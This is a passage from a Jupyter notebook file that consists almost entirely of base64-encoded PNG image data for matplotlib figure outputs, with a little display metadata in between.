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\n", "text/plain": [ "<matplotlib.figure.Figure at 0x1a43bf22ba8>" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "image/png": "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